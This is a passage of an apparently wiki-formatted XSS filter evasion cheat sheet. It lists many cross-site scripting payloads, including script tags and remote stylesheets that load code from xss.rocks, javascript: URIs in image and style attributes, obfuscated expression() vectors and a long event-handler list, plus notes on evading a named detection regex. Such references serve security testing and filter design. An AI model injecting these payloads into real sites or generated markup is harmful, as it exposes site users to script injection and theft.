 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT/SRC=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;xss.rocks/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Extraneous open brackets ==&lt;br /&gt;
Submitted by Franz Sedlmaier, this XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error:&lt;br /&gt;
 &amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&amp;quot;XSS&amp;quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== No closing script tags ==&lt;br /&gt;
In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the &amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;quot; portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't effect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally, although beware, I have no idea what the HTML will end up looking like once this is injected:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT SRC=http://xss.rocks/xss.js?&amp;lt; B &amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Protocol resolution in script tags ==&lt;br /&gt;
This particular variant was submitted by Łukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a &amp;lt;/SCRIPT&amp;gt; tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The &amp;quot;.j&amp;quot; is valid, regardless of the encoding type because the browser knows it in context of a SCRIPT tag.&lt;br /&gt;
 &lt;br /&gt;
 &amp;amp;lt;SCRIPT SRC=//xss.rocks/.j&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Half open HTML/JavaScript XSS vector ==&lt;br /&gt;
Unlike Firefox the IE rendering engine doesn't add extra data to your page, but it does allow the javascript: directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes there is any HTML tag below where you are injecting this cross site scripting vector. Even though there is no close &amp;quot;&amp;gt;&amp;quot; tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around the following NIDS regex: /((\%3D)|(=))[^\n]*((\%3C)|&amp;lt;)[^\n]+((\%3E)|&amp;gt;)/ because it doesn't require the end &amp;quot;&amp;gt;&amp;quot;. As a side note, this was also affective against a real world XSS filter I came across using an open ended &amp;lt;IFRAME tag instead of an &amp;lt;IMG tag:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot;javascript:alert('XSS')&amp;quot;&lt;br /&gt;
&lt;br /&gt;
== Double open angle brackets ==&lt;br /&gt;
Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;iframe src=http://xss.rocks/scriptlet.html &amp;lt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Escaping JavaScript escapes ==&lt;br /&gt;
When the application is written to output some user information inside of a JavaScript like the following: &amp;lt;SCRIPT&amp;gt;var a=&amp;quot;$ENV{QUERY_STRING}&amp;quot;;&amp;lt;/SCRIPT&amp;gt; and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this gets injected it will read &amp;lt;SCRIPT&amp;gt;var a=&amp;quot;\\&amp;quot;;alert('XSS');//&amp;quot;;&amp;lt;/SCRIPT&amp;gt; which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire. The XSS locator uses this method.:&lt;br /&gt;
&lt;br /&gt;
 \&amp;quot;;alert('XSS');//&lt;br /&gt;
&lt;br /&gt;
An alternative, if correct JSON or Javascript escaping has been applied to the embedded data but not HTML encoding, is to finish the script block and start your own:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;/script&amp;gt;&amp;lt;script&amp;gt;alert('XSS');&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== End title tag ==&lt;br /&gt;
This is a simple XSS vector that closes &amp;lt;TITLE&amp;gt; tags, which can encapsulate the malicious cross site scripting attack:&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&amp;quot;XSS&amp;quot;);&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==INPUT image ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;INPUT TYPE=&amp;quot;IMAGE&amp;quot; SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== BODY image ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;BODY BACKGROUND=&amp;quot;javascript:alert('XSS')&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMG Dynsrc ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG DYNSRC=&amp;quot;javascript:alert('XSS')&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMG lowsrc ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG LOWSRC=&amp;quot;javascript:alert('XSS')&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== List-style-image ==&lt;br /&gt;
Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&amp;quot;javascript:alert('XSS')&amp;quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&amp;lt;/br&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== VBscript in an image ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC='vbscript:msgbox(&amp;quot;XSS&amp;quot;)'&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Livescript (older versions of Netscape only) ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC=&amp;quot;livescript:[code]&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== SVG object tag ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;svg/onload=alert('XSS')&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== BODY tag ==&lt;br /&gt;
Method doesn't require using any variants of &amp;quot;javascript:&amp;quot; or &amp;quot;&amp;lt;SCRIPT...&amp;quot; to accomplish the XSS attack). Dan Crowley additionally noted that you can put a space before the equals sign (&amp;quot;onload=&amp;quot; != &amp;quot;onload =&amp;quot;):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Event Handlers ==&lt;br /&gt;
&lt;br /&gt;
It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing). Thanks to Rene Ledosquet for the HTML+TIME updates.&lt;br /&gt;
&lt;br /&gt;
The [http://help.dottoro.com/ Dottoro Web Reference] also has a nice [http://help.dottoro.com/ljfvvdnm.php list of events in JavaScript].&lt;br /&gt;
&lt;br /&gt;
# &amp;lt;code&amp;gt;FSCommand()&amp;lt;/code&amp;gt; (attacker can use this when executed from within an embedded Flash object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onAbort()&amp;lt;/code&amp;gt; (when user aborts the loading of an image)&lt;br /&gt;
# &amp;lt;code&amp;gt;onActivate()&amp;lt;/code&amp;gt; (when object is set as the active element)&lt;br /&gt;
# &amp;lt;code&amp;gt;onAfterPrint()&amp;lt;/code&amp;gt; (activates after user prints or previews print job)&lt;br /&gt;
# &amp;lt;code&amp;gt;onAfterUpdate()&amp;lt;/code&amp;gt; (activates on data object after updating data in the source object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeActivate()&amp;lt;/code&amp;gt; (fires before the object is set as the active element)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeCopy()&amp;lt;/code&amp;gt; (attacker executes the attack string right before a selection is copied to the clipboard - attackers can do this with the &amp;lt;code&amp;gt;execCommand(&amp;quot;Copy&amp;quot;)&amp;lt;/code&amp;gt; function)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeCut()&amp;lt;/code&amp;gt; (attacker executes the attack string right before a selection is cut)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeDeactivate()&amp;lt;/code&amp;gt; (fires right after the activeElement is changed from the current object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeEditFocus()&amp;lt;/code&amp;gt; (Fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforePaste()&amp;lt;/code&amp;gt; (user needs to be tricked into pasting or be forced into it using the &amp;lt;code&amp;gt;execCommand(&amp;quot;Paste&amp;quot;)&amp;lt;/code&amp;gt; function)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforePrint()&amp;lt;/code&amp;gt; (user would need to be tricked into printing or attacker could use the &amp;lt;code&amp;gt;print()&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;execCommand(&amp;quot;Print&amp;quot;)&amp;lt;/code&amp;gt; function).&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeUnload()&amp;lt;/code&amp;gt; (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeUpdate()&amp;lt;/code&amp;gt; (activates on data object before updating data in the source object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBegin()&amp;lt;/code&amp;gt; (the onbegin event fires immediately when the element's timeline begins)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBlur()&amp;lt;/code&amp;gt; (in the case where another popup is loaded and window looses focus)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBounce()&amp;lt;/code&amp;gt; (fires when the behavior property of the marquee object is set to &amp;quot;alternate&amp;quot; and the contents of the marquee reach one side of the window)&lt;br /&gt;
# &amp;lt;code&amp;gt;onCellChange()&amp;lt;/code&amp;gt; (fires when data changes in the data provider)&lt;br /&gt;
# &amp;lt;code&amp;gt;onChange()&amp;lt;/code&amp;gt; (select, text, or TEXTAREA field loses focus and its value has been modified)&lt;br /&gt;
# &amp;lt;code&amp;gt;onClick()&amp;lt;/code&amp;gt; (someone clicks on a form)&lt;br /&gt;
# &amp;lt;code&amp;gt;onContextMenu()&amp;lt;/code&amp;gt; (user would need to right click on attack area)&lt;br /&gt;
# &amp;lt;code&amp;gt;onControlSelect()&amp;lt;/code&amp;gt; (fires when the user is about to make a control selection of the object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onCopy()&amp;lt;/code&amp;gt; (user needs to copy something or it can be exploited using the &amp;lt;code&amp;gt;execCommand(&amp;quot;Copy&amp;quot;)&amp;lt;/code&amp;gt; command)&lt;br /&gt;
# &amp;lt;code&amp;gt;onCut()&amp;lt;/code&amp;gt; (user needs to copy something or it can be exploited using the &amp;lt;code&amp;gt;execCommand(&amp;quot;Cut&amp;quot;)&amp;lt;/code&amp;gt; command)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDataAvailable()&amp;lt;/code&amp;gt; (user would need to change data in an element, or attacker could perform the same function)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDataSetChanged()&amp;lt;/code&amp;gt; (fires when the data set exposed by a data source object changes)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDataSetComplete()&amp;lt;/code&amp;gt; (fires to indicate that all data is available from the data source object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDblClick()&amp;lt;/code&amp;gt; (user double-clicks a form element or a link)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDeactivate()&amp;lt;/code&amp;gt; (fires when the activeElement is changed from the current object to another object in the parent document)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDrag()&amp;lt;/code&amp;gt; (requires that the user drags an object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDragEnd()&amp;lt;/code&amp;gt; (requires that the user drags an object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDragLeave()&amp;lt;/code&amp;gt; (requires that the user drags an object off a valid location)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDragEnter()&amp;lt;/code&amp;gt; (requires that the user drags an object into a valid location)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDragOver()&amp;lt;/code&amp;gt; (requires that the user drags an object into a valid location)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDragDrop()&amp;lt;/code&amp;gt; (user drops an object (e.g. file) onto the browser window)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDragStart()&amp;lt;/code&amp;gt; (occurs when user starts drag operation)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDrop()&amp;lt;/code&amp;gt; (user drops an object (e.g. file) onto the browser window)&lt;br /&gt;
# &amp;lt;code&amp;gt;onEnd()&amp;lt;/code&amp;gt; (the onEnd event fires when the timeline ends.    &lt;br /&gt;
# &amp;lt;code&amp;gt;onError()&amp;lt;/code&amp;gt; (loading of a document or image causes an error)&lt;br /&gt;
# &amp;lt;code&amp;gt;onErrorUpdate()&amp;lt;/code&amp;gt; (fires on a databound object when an error occurs while updating the associated data in the data source object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onFilterChange()&amp;lt;/code&amp;gt; (fires when a visual filter completes state change)&lt;br /&gt;
# &amp;lt;code&amp;gt;onFinish()&amp;lt;/code&amp;gt; (attacker can create the exploit when marquee is finished looping)&lt;br /&gt;
# &amp;lt;code&amp;gt;onFocus()&amp;lt;/code&amp;gt; (attacker executes the attack string when the window gets focus)&lt;br /&gt;
# &amp;lt;code&amp;gt;onFocusIn()&amp;lt;/code&amp;gt; (attacker executes the attack string when window gets focus)&lt;br /&gt;
# &amp;lt;code&amp;gt;onFocusOut()&amp;lt;/code&amp;gt; (attacker executes the attack string when window looses focus)&lt;br /&gt;
# &amp;lt;code&amp;gt;onHashChange()&amp;lt;/code&amp;gt; (fires when the fragment identifier part of the document's current address changed)&lt;br /&gt;
# &amp;lt;code&amp;gt;onHelp()&amp;lt;/code&amp;gt; (attacker executes the attack string when users hits F1 while the window is in focus)&lt;br /&gt;
# &amp;lt;code&amp;gt;onInput()&amp;lt;/code&amp;gt; (the text content of an element is changed through the user interface)&lt;br /&gt;
# &amp;lt;code&amp;gt;onKeyDown()&amp;lt;/code&amp;gt; (user depresses a key)&lt;br /&gt;
# &amp;lt;code&amp;gt;onKeyPress()&amp;lt;/code&amp;gt; (user presses or holds down a key)&lt;br /&gt;
# &amp;lt;code&amp;gt;onKeyUp()&amp;lt;/code&amp;gt; (user releases a key)&lt;br /&gt;
# &amp;lt;code&amp;gt;onLayoutComplete()&amp;lt;/code&amp;gt; (user would have to print or print preview)&lt;br /&gt;
# &amp;lt;code&amp;gt;onLoad()&amp;lt;/code&amp;gt; (attacker executes the attack string after the window loads)&lt;br /&gt;
# &amp;lt;code&amp;gt;onLoseCapture()&amp;lt;/code&amp;gt; (can be exploited by the &amp;lt;code&amp;gt;releaseCapture()&amp;lt;/code&amp;gt; method)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMediaComplete()&amp;lt;/code&amp;gt; (When a streaming media file is used, this event could fire before the file starts playing)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMediaError()&amp;lt;/code&amp;gt; (User opens a page in the browser that contains a media file, and the event fires when there is a problem)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMessage()&amp;lt;/code&amp;gt; (fire when the document received a message)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseDown()&amp;lt;/code&amp;gt; (the attacker would need to get the user to click on an image)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseEnter()&amp;lt;/code&amp;gt; (cursor moves over an object or area)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseLeave()&amp;lt;/code&amp;gt; (the attacker would need to get the user to mouse over an image or table and then off again)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseMove()&amp;lt;/code&amp;gt; (the attacker would need to get the user to mouse over an image or table)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseOut()&amp;lt;/code&amp;gt; (the attacker would need to get the user to mouse over an image or table and then off again)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseOver()&amp;lt;/code&amp;gt; (cursor moves over an object or area)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseUp()&amp;lt;/code&amp;gt; (the attacker would need to get the user to click on an image)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseWheel()&amp;lt;/code&amp;gt; (the attacker would need to get the user to use their mouse wheel)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMove()&amp;lt;/code&amp;gt; (user or attacker would move the page)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMoveEnd()&amp;lt;/code&amp;gt; (user or attacker would move the page)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMoveStart()&amp;lt;/code&amp;gt; (user or attacker would move the page)&lt;br /&gt;
# &amp;lt;code&amp;gt;onOffline()&amp;lt;/code&amp;gt; (occurs if the browser is working in online mode and it starts to work offline)&lt;br /&gt;
# &amp;lt;code&amp;gt;onOnline()&amp;lt;/code&amp;gt; (occurs if the browser is working in offline mode and it starts to work online)&lt;br /&gt;
# &amp;lt;code&amp;gt;onOutOfSync()&amp;lt;/code&amp;gt; (interrupt the element's ability to play its media as defined by the timeline)&lt;br /&gt;
# &amp;lt;code&amp;gt;onPaste()&amp;lt;/code&amp;gt; (user would need to paste or attacker could use the &amp;lt;code&amp;gt;execCommand(&amp;quot;Paste&amp;quot;)&amp;lt;/code&amp;gt; function)&lt;br /&gt;
# &amp;lt;code&amp;gt;onPause()&amp;lt;/code&amp;gt; (the onpause event fires on every element that is active when the timeline pauses, including the body element)&lt;br /&gt;
# &amp;lt;code&amp;gt;onPopState()&amp;lt;/code&amp;gt; (fires when user navigated the session history)&lt;br /&gt;
# &amp;lt;code&amp;gt;onProgress()&amp;lt;/code&amp;gt; (attacker would use this as a flash movie was loading)&lt;br /&gt;
# &amp;lt;code&amp;gt;onPropertyChange()&amp;lt;/code&amp;gt; (user or attacker would need to change an element property)&lt;br /&gt;
# &amp;lt;code&amp;gt;onReadyStateChange()&amp;lt;/code&amp;gt; (user or attacker would need to change an element property)&lt;br /&gt;
# &amp;lt;code&amp;gt;onRedo()&amp;lt;/code&amp;gt; (user went forward in undo transaction history)&lt;br /&gt;
# &amp;lt;code&amp;gt;onRepeat()&amp;lt;/code&amp;gt; (the event fires once for each repetition of the timeline, excluding the first full cycle)&lt;br /&gt;
# &amp;lt;code&amp;gt;onReset()&amp;lt;/code&amp;gt; (user or attacker resets a form)&lt;br /&gt;
# &amp;lt;code&amp;gt;onResize()&amp;lt;/code&amp;gt; (user would resize the window; attacker could auto initialize with something like: &amp;lt;code&amp;gt;&amp;lt;SCRIPT&amp;gt;self.resizeTo(500,400);&amp;lt;/SCRIPT&amp;gt;&amp;lt;/code&amp;gt;)&lt;br /&gt;
# &amp;lt;code&amp;gt;onResizeEnd()&amp;lt;/code&amp;gt; (user would resize the window; attacker could auto initialize with something like: &amp;lt;code&amp;gt;&amp;lt;SCRIPT&amp;gt;self.resizeTo(500,400);&amp;lt;/SCRIPT&amp;gt;&amp;lt;/code&amp;gt;)&lt;br /&gt;
# &amp;lt;code&amp;gt;onResizeStart()&amp;lt;/code&amp;gt; (user would resize the window; attacker could auto initialize with something like: &amp;lt;code&amp;gt;&amp;lt;SCRIPT&amp;gt;self.resizeTo(500,400);&amp;lt;/SCRIPT&amp;gt;&amp;lt;/code&amp;gt;)&lt;br /&gt;
# &amp;lt;code&amp;gt;onResume()&amp;lt;/code&amp;gt; (the onresume event fires on every element that becomes active when the timeline resumes, including the body element)&lt;br /&gt;
# &amp;lt;code&amp;gt;onReverse()&amp;lt;/code&amp;gt; (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)&lt;br /&gt;
# &amp;lt;code&amp;gt;onRowsEnter()&amp;lt;/code&amp;gt; (user or attacker would need to change a row in a data source)&lt;br /&gt;
# &amp;lt;code&amp;gt;onRowExit()&amp;lt;/code&amp;gt; (user or attacker would need to change a row in a data source)&lt;br /&gt;
# &amp;lt;code&amp;gt;onRowDelete()&amp;lt;/code&amp;gt; (user or attacker would need to delete a row in a data source)&lt;br /&gt;
# &amp;lt;code&amp;gt;onRowInserted()&amp;lt;/code&amp;gt; (user or attacker would need to insert a row in a data source)&lt;br /&gt;
# &amp;lt;code&amp;gt;onScroll()&amp;lt;/code&amp;gt; (user would need to scroll, or attacker could use the &amp;lt;code&amp;gt;scrollBy()&amp;lt;/code&amp;gt; function)&lt;br /&gt;
# &amp;lt;code&amp;gt;onSeek()&amp;lt;/code&amp;gt; (the onreverse event fires when the timeline is set to play in any direction other than forward)&lt;br /&gt;
# &amp;lt;code&amp;gt;onSelect()&amp;lt;/code&amp;gt; (user needs to select some text - attacker could auto initialize with something like: &amp;lt;code&amp;gt;window.document.execCommand(&amp;quot;SelectAll&amp;quot;);&amp;lt;/code&amp;gt;)&lt;br /&gt;
# &amp;lt;code&amp;gt;onSelectionChange()&amp;lt;/code&amp;gt; (user needs to select some text - attacker could auto initialize with something like: &amp;lt;code&amp;gt;window.document.execCommand(&amp;quot;SelectAll&amp;quot;);&amp;lt;/code&amp;gt;)&lt;br /&gt;
# &amp;lt;code&amp;gt;onSelectStart()&amp;lt;/code&amp;gt; (user needs to select some text - attacker could auto initialize with something like: &amp;lt;code&amp;gt;window.document.execCommand(&amp;quot;SelectAll&amp;quot;);&amp;lt;/code&amp;gt;)&lt;br /&gt;
# &amp;lt;code&amp;gt;onStart()&amp;lt;/code&amp;gt; (fires at the beginning of each marquee loop)&lt;br /&gt;
# &amp;lt;code&amp;gt;onStop()&amp;lt;/code&amp;gt; (user would need to press the stop button or leave the webpage)&lt;br /&gt;
# &amp;lt;code&amp;gt;onStorage()&amp;lt;/code&amp;gt; (storage area changed)&lt;br /&gt;
# &amp;lt;code&amp;gt;onSyncRestored()&amp;lt;/code&amp;gt; (user interrupts the element's ability to play its media as defined by the timeline to fire)&lt;br /&gt;
# &amp;lt;code&amp;gt;onSubmit()&amp;lt;/code&amp;gt; (requires attacker or user submits a form)&lt;br /&gt;
# &amp;lt;code&amp;gt;onTimeError()&amp;lt;/code&amp;gt; (user or attacker sets a time property, such as dur, to an invalid value)&lt;br /&gt;
# &amp;lt;code&amp;gt;onTrackChange()&amp;lt;/code&amp;gt; (user or attacker changes track in a playList)&lt;br /&gt;
# &amp;lt;code&amp;gt;onUndo()&amp;lt;/code&amp;gt; (user went backward in undo transaction history)&lt;br /&gt;
# &amp;lt;code&amp;gt;onUnload()&amp;lt;/code&amp;gt; (as the user clicks any link or presses the back button or attacker forces a click)&lt;br /&gt;
# &amp;lt;code&amp;gt;onURLFlip()&amp;lt;/code&amp;gt; (this event fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)&lt;br /&gt;
# &amp;lt;code&amp;gt;seekSegmentTime()&amp;lt;/code&amp;gt; (this is a method that locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)&lt;br /&gt;
&lt;br /&gt;
== BGSOUND ==&lt;br /&gt;
 &amp;lt;BGSOUND SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== &amp;amp; JavaScript includes ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;BR SIZE=&amp;quot;&amp;amp;{alert('XSS')}&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
== STYLE sheet ==&lt;br /&gt;
 &amp;lt;LINK REL=&amp;quot;stylesheet&amp;quot; HREF=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Remote style sheet ==&lt;br /&gt;
(using something as simple as a remote style sheet you can include your XSS as the style parameter can be redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;LINK REL=&amp;quot;stylesheet&amp;quot; HREF=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;xss.rocks/xss.css&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Remote style sheet part 2 ==&lt;br /&gt;
This works the same as above, but uses a &amp;lt;STYLE&amp;gt; tag instead of a &amp;lt;LINK&amp;gt; tag). A slight variation on this vector was used to hack Google Desktop. As a side note, you can remove the end &amp;lt;/STYLE&amp;gt; tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equals sign or a slash in your cross site scripting attack, which has come up at least once in the real world:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE&amp;gt;@import'http://xss.rocks/xss.css';&amp;lt;/STYLE&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Remote style sheet part 3 ==&lt;br /&gt;
This only works in Opera 8.0 (no longer in 9.x) but is fairly tricky. According to RFC2616 setting a link header is not part of the HTTP1.1 spec, however some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: &amp;lt;nowiki&amp;gt;&amp;lt;http://xss.rocks/xss.css&amp;gt;; REL=stylesheet)&amp;lt;/nowiki&amp;gt; and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;Link&amp;quot; Content=&amp;quot;&amp;lt;http://xss.rocks/xss.css&amp;gt;; REL=stylesheet&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Remote style sheet part 4 ==&lt;br /&gt;
This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefor is vulnerable to this for the vast majority of sites:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&amp;quot;http:&amp;amp;#47;&amp;amp;#47;xss.rocks/xssmoz.xml#xss&amp;quot;)}&amp;lt;/STYLE&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STYLE tags with broken up JavaScript for XSS ==&lt;br /&gt;
This XSS at times sends IE into an infinite loop of alerts:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&amp;quot;XSS&amp;quot;)';&amp;lt;/STYLE&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STYLE attribute using a comment to break up expression ==&lt;br /&gt;
Created by Roman Ivanov &lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG STYLE=&amp;quot;xss:expr/*XSS*/ession(alert('XSS'))&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMG STYLE with expression ==&lt;br /&gt;
This is really a hybrid of the above XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like above this can send IE into a loop:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;exp/*&amp;lt;A STYLE='no\xss:noxss(&amp;quot;*//*&amp;quot;);&lt;br /&gt;
xss:&amp;amp;#101;x&amp;amp;#x2F;*XSS*//*/*/pression(alert(&amp;quot;XSS&amp;quot;))'&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STYLE tag (Older versions of Netscape only)==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE TYPE=&amp;quot;text/javascript&amp;quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STYLE tag using background-image ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&amp;quot;javascript:alert('XSS')&amp;quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STYLE tag using background ==&lt;br /&gt;
